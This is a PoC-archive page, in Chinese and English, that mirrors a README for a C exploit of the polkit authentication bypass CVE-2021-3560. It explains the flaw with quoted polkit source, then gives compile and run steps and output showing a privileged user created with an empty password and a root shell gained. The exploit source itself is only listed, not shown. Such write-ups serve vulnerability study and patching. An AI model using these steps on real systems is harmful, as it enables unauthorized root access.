POC详情: 908c8a1fe70d659ed7c8f9997241cc57ba40aed6

来源
关联漏洞
标题: polkit 代码问题漏洞 (CVE-2021-3560)
描述:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则,实现不同优先级进程间的通讯。 polkit 存在代码问题漏洞,该漏洞源于当请求进程在调用polkit_system_bus_name_get_creds_sync之前断开与dbus-daemon的连接时,该进程无法获得进程的唯一uid和pid,也无法验证请求进程的特权。
描述
a reliable C based exploit and writeup for CVE-2021-3560.
介绍
# CVE-2021-3560
a reliable C based exploit for CVE-2021-3560.

# Summary:
Yestreday i stumbled upon this [blog post](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/) by Kevin Backhouse (discovered this vulnerability), i tried the bash commands provided in the blogpost and to my surpise it worked on my Kali Linux box!

CVE-2021-3560 is an authentication bypass on polkit, which allows an unprivileged user to call privileged methods using DBus, the PoC exploits this bug to call 2 privileged methods provided by accountsservice (`CreateUser` and `SetPassword`), which allows us to create a priviliged user then setting a password to it.

polkit checks if the caller is authorized to call such method, it does so by checking first the user id of the caller, if it is zero then the caller is assumed to be root and the action is allowed without asking for authentication, otherwise it asks for the password of the user.

`polkit_system_bus_name_get_creds_sync()` function invokes to 2 methods to get the UID and PID of the caller [`GetConnectionUnixUser`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L410) and [`GetConnectionUnixProcessID`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L422), the result of this calls is written to the `data` struct of type `AsyncGetBusNameCredsData` (this struct is [intialized to 0](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L395)) by the callback function `on_retrieved_unix_uid_pid()`, and `polkit_system_bus_name_get_creds_sync()` blocks while waiting for the callback function to set an error or the UID and PID.

```C
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; // intialize to 0
  GDBusConnection *connection = NULL;
  GMainContext *tmp_context = NULL;

  connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
  if (connection == NULL)
    goto out;

  data.error = error;

  tmp_context = g_main_context_new ();
  g_main_context_push_thread_default (tmp_context);

  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback funtion
			  &data); // data is passed to the callback function along with the reply from the method
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // callback funtion
			  &data); // data is passed to the callback function along with the reply from the method

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet
    g_main_context_iteration (tmp_context, TRUE);

```

the callback function [`on_retrieved_unix_uid_pid()`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L355) is invoked after each method call to retirive the reply (UID and PID) or set an error, this function calls `g_dbus_connection_call_finish()` to retrive the reply if an [error is occured](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L364) then it sets `data.caught_error` to TRUE and returns (`data.uid` and `data.pid` are still set 0). otherwise it assign the retrieved value (UID or PID) to `data.uid` or `data.pid` (depends on what value is retrieved) then returns.

```C
static void
on_retrieved_unix_uid_pid (GObject              *src, // connection
			   GAsyncResult         *res, // Async result object
			   gpointer              user_data) // data paramter passed from previous function
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error); // finish and get the reply
  if (!v) // error ??
    {
      data->caught_error = TRUE;
    }
  else
    {
      guint32 value;
      g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u)
      g_variant_unref (v);
      if (!data->retrieved_uid) // GetConnectionUnixUser method
	{
	  data->retrieved_uid = TRUE;
	  data->uid = value;
	}
      else
	{
	  g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method
	  data->retrieved_pid = TRUE;
	  data->pid = value;
	}
    }
}

```

`GetConnectionUnixUser` and `GetConnectionUnixProcessID` methods will return the UID and PID if found (caller process is still connected to the bus), or an error if an error occured (e.g: caller process killed).

once `data.uid` and `data.pid` are set or `data.caught_error` is set the function `polkit_system_bus_name_get_creds_sync()` will continue and here where the vulnerabilty exists, `polkit_system_bus_name_get_creds_sync()` does not return an error if `data.caught_error` is set, instead it set whatever value is in `data.uid` to `out_uid` and [returns TRUE](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L442) (even if `data.caught_error` is set). `out_pid` is a pointer to a `guint32` variable passed to `polkit_system_bus_name_get_creds_sync()` when called by `polkit_system_bus_name_get_user_sync()`:

```C
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid, // pointer
				       guint32                       *out_pid, // NULL
				       GCancellable                  *cancellable,
				       GError                       **error)
{

  [snip]
  
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid) // TRUE
    *out_uid = data.uid; // set it even if there is an error [!]
  if (out_pid) // FALSE
    *out_pid = data.pid; // set it even if there is an error [!]
  ret = TRUE; // return TRUE even if there is an error [!]
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;

```

**exploitation:**

if the a process A calls a priviliged method using DBus, then polkit will check the UID of the caller, if process A exits imidiatly after it sends the message, then the methods `GetConnectionUnixUser` and `GetConnectionUnixProcessID` will return an error because the caller process does not exist anymore. the callback function `on_retrieved_unix_uid_pid()` will set `data.caught_error` to TRUE, `data.uid` and `data.pid` will remain unchanged (which means they will be both set to 0 as the data struct is intiailized to 0). the function `polkit_system_bus_name_get_creds_sync()` will continue the execution and sets `out_uid` to `data.uid` (0), and return TRUE.


a couple of function will keep returning the fake UID (0), until `polkit_backend_session_monitor_get_user_for_subject()` returns `user_of_subject` (built from the fake UID) to `check_authorization_sync()` function, which checks if the UID is root by calling [`identity_is_root_user(user_of_subject)`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1128) which will return TRUE and process A will be [authorized](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1130).

```C
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{

  
  [snip]

  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  if (user_of_subject == NULL) // false
      goto out;

  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) // true
    {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller
      goto out;
    }

  [snip]
 
```

# PoC:
I decided to write a PoC using dbus C API, i didn't use `sleep()` while waiting for the message to be sent to the target service, instead, DBus functions provide a timeout paramter, so by (ab)using this parameter we can force the function to return just after it sends the message, then killing the process, this will allow us to exploit the vulnerability on polkit and bypass the authentication. refer to this [blog post](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/) for the technical details.

# run:
1. compile the exploit:

```
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
```
2. run the exploit:

```
user@host: ./exploit
```


- Output:
```
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] creating "pwned-1624301069" user ...
[!] user has been created!
[*] user: pwned-1624301069, uid: 1007
[*] setting an empty password for "pwned-1624301069" user..
[*] an empty password has been set for "pwned-1624301069" user!
[!] run: "sudo su root" as "pwned-1624301069" user to get root
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)
```

文件快照

[4.0K] /data/pocs/908c8a1fe70d659ed7c8f9997241cc57ba40aed6 ├── [5.4K] exploit.c └── [ 11K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。